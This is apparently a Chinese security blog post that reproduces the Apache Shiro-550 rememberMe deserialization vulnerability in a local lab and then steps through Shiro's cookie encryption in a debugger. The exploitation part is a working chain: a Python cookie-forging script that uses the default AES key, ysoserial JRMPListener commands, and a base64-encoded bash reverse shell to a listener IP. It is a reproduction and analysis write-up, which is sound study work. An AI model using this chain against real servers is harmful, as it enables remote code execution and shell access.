记一次shiro-550的漏洞复现与加密分析

由于接触到java审计,不由自主看到了篇分析shiro组件的文章,鄙人就蠢蠢欲动~

Shiro rememberMe反序列化漏洞(Shiro-550)
漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本

Apache Shiro < 1.2.4

特征判断

返回包中包含rememberMe=deleteMe字段。

环境部署

直接部署大佬编译好的war包到tomcat目录下
https://cloud.tencent.com/developer/article/1472310
部署war包很简单,只需要将其放到tomcat中的webapps目录下,bin目录下启动tomcat,它将会自动解压war包,当然它的默认名称是samples-web-1.2.4,为了访问方便我们可以重命名为shiro-1.2.4
启动tomcat
在这里插入图片描述
(若碰到以下问题则修改JRE_HOME
在这里插入图片描述
在这里插入图片描述
访问http://localhost:8080/shiro-1.2.4
在这里插入图片描述
点击log in
在这里插入图片描述
cookie中存在rememberMe参数值
在这里插入图片描述

漏洞利用
配合ysoserial开启监听

ysoserial是一个java反序列化的工具,攻击机下载ysoserial,获取需要的jar文件

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
(其中mvn需要自己安装)

在这里插入图片描述
若因为timeout原因,可在conf/setting.conf添加国内镜像源

<mirror>
    <id>alimaven</id>
    <name>aliyun maven</name>
    <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
    <mirrorOf>central</mirrorOf>
</mirror>
恶意构造cookie

我这里是python3环境

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size //# 设置block_size的大小为16
    //对传入pad的内容自动补全16位,填充内容是“16-len(s)”对应的ascii字符
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") //用的是shiro默认的key
    iv = uuid.uuid4().bytes //生成随机数
    encryptor = AES.new(key, AES.MODE_CBC, iv) 
    file_body = pad(popen.stdout.read())  //将得到popen回显的十六进制字符串
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    print ("rememberMe={0}".format(payload.decode()))

AES模块利用国内源安装如下

pip install pycryptodome -i http://pypi.douban.com/simple --trusted-host pypi.douban.com

在这里插入图片描述
其他源总结:

于是便搜集了一些国内的pip源,如下:
阿里云 http://mirrors.aliyun.com/pypi/simple/
中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/
豆瓣(douban) http://pypi.douban.com/simple/
清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/
中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/
分析下利用代码

从shiro组件的加解密角度理解该poc会更易懂

  1. AES加密 = 想加密的字符串 (明文) + iv(随机生成的长度为16的字节) + key(base64解码密钥的结果) + CBC + PKCS5Padding
  2. 随机生成的长度为16的字节 + AES加密结果 (就是拼接了一下)
  3. base64加密

(以下图片可自行放大)
在这里插入图片描述

dnslog检测

将脚本放在target目录下执行在这里插入图片描述
python shiro_exp.py 10.13.24.80:6666
在这里插入图片描述
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "ping 4vxrp6.dnslog.cn"
(实验多次,以下图片不太一致)
在这里插入图片描述
将刚刚python生成的rememberMe参数和值,整个复制添加到cookie中,发包之后。可以看到ysoserial监听的端口收到数据
在这里插入图片描述
DNSLOG收到,如果ping不到dnslog,读者可以自己先弹个计算器calc
在这里插入图片描述

制作反弹shell

bash -i >& /dev/tcp/192.168.101.1/7777 0>&1
(通过以下链接得到base64加密的反弹shell)
http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}
再利用 ysoserial反序列化工具
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'
然后攻击机自行监听端口就好,攻击利用如同上述dnslog检测过程,不再阐述…

分析加密过程

通过网上资料描述可知:
shiro的CookieRememberMeManager类里对漏洞参数rememberMe进行序列化,加密等操作,我理解成这个类和这个漏洞有关系,可以当成入口点

shiro对每次访问都会用到"记住我"的功能进行以下解密操作:

  1. 检索rememberMe cookie的值 //cookie中是否有这个参数
  2. Base 64解码 //对参数的值进行解码
  3. 使用AES解密 //对参数的值再进行解密
  4. 使用Java反序列化 //对解出的参数的值进行反序列化

所以这次通过源码debug来了解的大概目的:

通过控制rememberMe参数的值传输加密好的恶意序列化payload,成功让shiro进行解密到反序列化的步骤就可以达到执行命令

  1. 如何控制rememberMe参数的值
  2. 如何对payload进行加密
  3. 根据加密方法对生成恶意序列化payload进行加密构造利用工具

(师傅们轻喷~)
将刚刚tomcat自动解压war包之后的文件夹丢入IDEA,通过IDEA配置调试shiro

Run -> Edit Configurations -> 点击+号添加TomcatServer(Local) -> Server中配置Tomcat路径 -> 选择JRE版本 ->Deployment中点击+号添加tomcat里生成的shiro文件夹 -> 点击Apply

在这里插入图片描述
首先先要找到rememberMe参数的值
当我访问http://localhost:8080/shiro_1_2_4/login.jsp 登录时勾选Remember Me后,cookie中出现rememberMe参数,而shiro每次都会对cookie中的rememberMe来进行解密后反序列化操作来确定访问者权限,所以直接在cookie传输rememberMe参数就可以控制shiro反序列化的值
在这里插入图片描述
获得加解密的方法
加密解密恶意payload进行传输,反编译此漏洞环境中的shiro组件jar包
选中shiro-core-1.2.4.jar -> 右键 -> Add as Library -> ok
选中shiro-web-1.2.4.jar -> 右键 -> Add as Library -> ok
在这里插入图片描述
全局搜索咱们前面准备当做入口点的CookieRememberMeManager类,按着函数列表查看后并未发现有关加密的信息,跟进父类AbstractRememberMeManager去看一下

进入父类可以发现一个很明显的key,根据参数名DEFAULT_CIPHER_KEY_BYTES也可以断定是AES加密中所使用的密钥也就是利用代码中加密的KEY
在这里插入图片描述
AbstractRememberMeManager类函数名为encrypt(加密)中下了断点,然后在web端进行登录操作,运行至encrypt函数传入参数serialized
在这里插入图片描述
然后点击Drop Frame返回上个方法发现传入的serialized的值是我刚才web端登录的用户名root序列化后的数据,根据运行步骤函数名猜测流程是shiro验证完了登录的账号密码,然后根据用户名生成序列化数据准备进行加密了
在这里插入图片描述
另外学习下Debug按钮功能:

Step Over : 单步执行,遇到方法直接获得返回值而不会进入方法体中
Step Into : 单步执行,遇到方法会进入方法,不会进入jdk实现的方法中
Force Step Into : 可以进入任何的方法,比如jdk,jar包
Step Out : 在方法内会直接获得返回值跳出该方法
Run To Cursor : 让程序运行到鼠标所在的位置
Drop Frame : 返回上一步,摧毁当前方法获得的值
Resume Program : 运行至下一个断点所在位置

此时在调试的变量框里看到加密的设置为AES加密,模式为CBC,128位,填充方式为PKCS5Padding
在这里插入图片描述
继续Step Into(下一步),进入cipherService.encrypt的方法中,跳到了JcaCipherService类中的encrypt方法中,方法中有个ivBytes变量,值是随机生成的16个字节,然后跳到了此类中的另一个encrypt方法
在这里插入图片描述

return this.encrypt(plaintext, key, ivBytes, generate);
//plaintext   为序列化的用户名
//key         为DEFAULT_CIPHER_KEY_BYTES 就是上面base64解码的那个密钥
//ivBytes     为随机生成的长度为16的字节
//generate    为true

跳入的encrypt方法,这个方法就是生成加密结果的地方
在这里插入图片描述
继续Step Over(不进入方法中进行下一步),就回到了下断点的地方,value变量的值就是上面步骤的output变量的值
在这里插入图片描述
继续使用Step Into,进行到Base64.encode方法中建议Step Over调试。最终到了CookieRememberMeManager类中的rememberSerializedIdentity方法又对存储着加密结果的变量进行了一次base64加密,然后赋值到了cookie的rememberMe参数中
在这里插入图片描述
以下cookie的rememberMe值便是这样得到
在这里插入图片描述
暂告段落先…分析过程毕竟得啃多几次
可参考:https://mp.weixin.qq.com/s/CfmTVSpRSKU9FX9VHEt9rg
 
GOT IT!

 
******************************************************
具体利用方式需根据具体实践场景~

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值